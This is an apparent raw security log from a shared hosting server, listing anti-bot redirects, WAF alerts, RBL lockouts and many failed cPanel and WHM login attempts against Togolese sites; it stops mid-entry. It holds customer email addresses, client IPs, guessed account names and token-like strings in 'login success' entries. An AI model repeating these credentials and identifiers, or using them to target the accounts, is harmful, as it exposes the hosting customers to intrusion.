103.158.121.40 - - [10/Jun/2026:10:36:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885866&pdata=https%253A%252F%252Fekeasarl.com%252Fa-propos%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087804 HTTP/2.0" 302 0 ekeasarl.com "https://ekeasarl.com/a-propos/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.158.121.40


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.52
country_id: 6252001
description:
[2026-06-10 10:36:40 +0000] info [cpaneld] 134.195.82.52 NEW ecukpqcm:mkvxgyZCMJsQfnaF address=134.195.82.52,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [10/Jun/2026:10:36:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054557&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuper-lig%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087798 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/super-lig/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.104.81.47
country_id: 6252001
description:
[2026-06-10 10:37:57 +0000] info [cpaneld] 23.104.81.47 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [10/Jun/2026:10:38:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10339733&pdata=https%253A%252F%252Ftdn.tg%252Ffrance-vers-la-suppression-de-tout-visa-pour-de-nouvelles-entrees-de-maliens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087901 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/france-vers-la-suppression-de-tout-visa-pour-de-nouvelles-entrees-de-maliens/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.55
country_id: 1512440
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-planter-un-arbre-transmettre-une-memoire/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.55
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-planter-un-arbre-transmettre-une-memoire/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [10/Jun/2026:10:38:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449300&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087895 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-10 10:39:07 +0000] info [cpaneld] 5.230.133.225 NEW lhqeyybr:_s5LlabuaFwNyw3t address=5.230.133.225,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.217.246.38
country_id: 3865483
description:
[2026-06-10 10:39:32 +0000] info [cpaneld] 201.217.246.38 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [10/Jun/2026:10:39:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13290395&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087972 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.249.3.93
country_id: 3996063
description:
[2026-06-10 10:39:49 +0000] info [cpaneld] 177.249.3.93 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.90.171
country_id: 3895114
description:
[2026-06-10 10:39:56 +0000] info [cpaneld] 186.189.90.171 - togome "GET /login/?login_only=1&user=togome&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togome (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.180.150.176
country_id: 2361809
description:
[2026-06-10 10:39:36 +0000] info [cpaneld] 102.180.150.176 - togomedia24 "GET /login/?login_only=1&user=togomedia24&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.135.42.172
country_id: 1168579
description:
[2026-06-10 10:39:40 +0000] info [cpaneld] 139.135.42.172 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.115.88.31
country_id: 3895114
description:
[2026-06-10 10:40:02 +0000] info [cpaneld] 191.115.88.31 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.172.160.154
country_id: 6252001
description:
[2026-06-10 10:40:08 +0000] info [whostmgrd] 54.172.160.154 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.8.6.184
country_id: 2017370
description:
[2026-06-10 10:39:42 +0000] info [cpaneld] 46.8.6.184 - togomedia2 "GET /login/?login_only=1&user=togomedia2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.179.146.189
country_id: 2361809
description:
[2026-06-10 10:39:51 +0000] info [cpaneld] 102.179.146.189 - togomed "GET /login/?login_only=1&user=togomed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomed (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [10/Jun/2026:10:40:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789010&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-maritime-au-togo-la-production-aquacole-en-hausse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088019 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-maritime-au-togo-la-production-aquacole-en-hausse/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.214
country_id: 690791
description:
Jun 10 10:40:34 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.214 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.110.98
country_id: 99237
description:
[2026-06-10 10:39:46 +0000] info [cpaneld] 169.224.110.98 - togomedia "GET /login/?login_only=1&user=togomedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-10 10:40:54 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:10:41:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002651&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fyvan-castanou-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088062 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/yvan-castanou-a-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.214
country_id: 690791
description:
Jun 10 10:40:41 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.214 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [10/Jun/2026:10:42:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738142&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088151 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.192.110
country_id: 2363686
description:
[2026-06-10 10:43:21 +0000] info [webmaild] 160.242.192.110 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.192.110
country_id: 2363686
description:
[2026-06-10 10:43:52 +0000] info [webmaild] 160.242.192.110 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-10 10:43:58 +0000] info [cpaneld] 5.230.133.223 NEW dmmkifel:QQ8JXnHAbMVu6rX1 address=5.230.133.223,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.192.110
country_id: 2363686
description:
[2026-06-10 10:44:42 +0000] info [webmaild] 160.242.192.110 - communication@butodra.tg "GET /webmail HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [10/Jun/2026:10:46:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946265&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsecteur-immobilier-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088377 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/secteur-immobilier-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.110.28.30
country_id: 6252001
description:
[2026-06-10 10:46:33 +0000] info [whostmgrd] 23.110.28.30 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.199.23.164
country_id: 1220409
description:
2026-06-10 10:45:48 H=([94.199.23.164]) [94.199.23.164]:25162 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [10/Jun/2026:10:47:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727848&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fstructure-specialisee-dans-le-service-a-la-personne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088422 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/structure-specialisee-dans-le-service-a-la-personne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.249
country_id: 6252001
description:
[2026-06-10 10:47:06 +0000] info [whostmgrd] 82.40.113.249 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.173
country_id: 1880251
description:
47.128.96.173 - - [10/Jun/2026:10:47:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002910&pdata=https%253A%252F%252Ftdn.tg%252Finades-formation-togo-recrutement-consultant%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088435 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/inades-formation-togo-recrutement-consultant/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.173


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 154.244.209.206
country_id: 2589581
description:
154.244.209.206 - - [10/Jun/2026:10:48:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804182&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdame-retrouvee-morte-decapitee-dans-un-champ%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088486 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dame-retrouvee-morte-decapitee-dans-un-champ/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.4682.1205 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:154.244.209.206


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.121.65
country_id: 2363686
description:
[2026-06-10 10:48:19 +0000] info [webmaild] 196.168.121.65 - info@matosshop.tg "POST /cpsess4325374322/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.58.124] != Current IP Address [196.168.121.65]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:10:48:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949611&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmort-de-samuel-etoo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088512 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mort-de-samuel-etoo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.226
country_id: 2635167
description:
[2026-06-10 10:48:41 +0000] info [cpaneld] 5.230.153.226 NEW gemwjxuz:ZTRxQN7QNRPHgubP address=5.230.153.226,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.128
country_id: 6252001
description:
[2026-06-10 10:49:22 +0000] info [whostmgrd] 82.40.113.128 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.247.238.4
country_id: 3469034
description:
170.247.238.4 - - [10/Jun/2026:10:49:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6865810&pdata=https%253A%252F%252Ftogomedia24.tg%252F2021%252F02%252F12%252Fmali-un-casque-bleu-togolais-succombe-a-ses-blessures%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088448 HTTP/2.0" 404 561 togomedia24.tg "https://togomedia24.tg/" "Mozilla/5.0 (Linux; Android 15; SM-A356U Build/AP3A.240905.015.A2; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36 BingSapphire/32.3.430811006" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.247.238.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [10/Jun/2026:10:49:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066579&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-universite-lome-nouvelle-licence-professionnelle-rentree-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088583 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-universite-lome-nouvelle-licence-professionnelle-rentree-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.136.12
country_id: 953987
description:
2026-06-10 10:50:10 H=([102.254.136.31]) [102.253.136.12]:45986 F=<noreply@cafe.tg> rejected RCPT <sadaocel@cafe.tg>: Rejected relay attempt: '102.253.136.12' From: 'noreply@cafe.tg' To: 'sadaocel@cafe.tg'


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.121
country_id: 6252001
description:
[2026-06-10 10:51:12 +0000] info [whostmgrd] 82.40.113.121 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:10:51:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739632&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-club-russo-africain-a-discute-de-lavenir%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088685 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-club-russo-africain-a-discute-de-lavenir/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 204.141.242.8
country_id: 6252001
description:
[2026-06-10 10:51:36 +0000] info [whostmgrd] 204.141.242.8 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.238.109.12
country_id: 6252001
description:
[2026-06-10 10:52:22 +0000] info [whostmgrd] 23.238.109.12 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [10/Jun/2026:10:51:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997658&pdata=https%253A%252F%252Fchuso.tg%252Fservice_chuso%252Fcardiologie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088707 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/service_chuso/cardiologie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.98.47
country_id: 6252001
description:
[2026-06-10 10:53:28 +0000] info [whostmgrd] 192.204.98.47 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.132
country_id: 1880251
description:
47.128.121.132 - - [10/Jun/2026:10:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803154&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fftst%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781088939 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/ftst/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.132


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.243.26.171
country_id: 6252001
description:
[2026-06-10 10:56:09 +0000] info [whostmgrd] 54.243.26.171 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.118.82
country_id: 6252001
description:
[2026-06-10 10:55:37 +0000] info [whostmgrd] 82.40.118.82 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.111.247.26
country_id: 3144096
description:
77.111.247.26 - - [10/Jun/2026:10:57:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684584&pdata=https%253A%252F%252Ftogointerim.net%252Femplois%252Frecherche&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089026 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/emplois/recherche" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 OPR/131.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.111.247.26


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-10 10:56:52 +0000] info [cpaneld] 5.231.64.90 NEW jdzxeovw:yRPOXkJhoOW8HmTy address=5.231.64.90,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [10/Jun/2026:10:57:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12939106&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-universite-de-lome-lexamen-de-la-faseg-programme-voici-le-calendrier-du-deroulement-des-epreuves%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089025 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-universite-de-lome-lexamen-de-la-faseg-programme-voici-le-calendrier-du-deroulement-des-epreuves/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [10/Jun/2026:10:57:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000996&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fyvan-castanou-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089061 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/yvan-castanou-a-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.184.80.190
country_id: 3469034
description:
Jun 10 10:58:02 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.184.80.190 has been locked due to Imunify RBL


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 92.114.93.113
country_id: 798549
domain: asiahnegrah.com.154-70-82-246.cpanel.site
description:
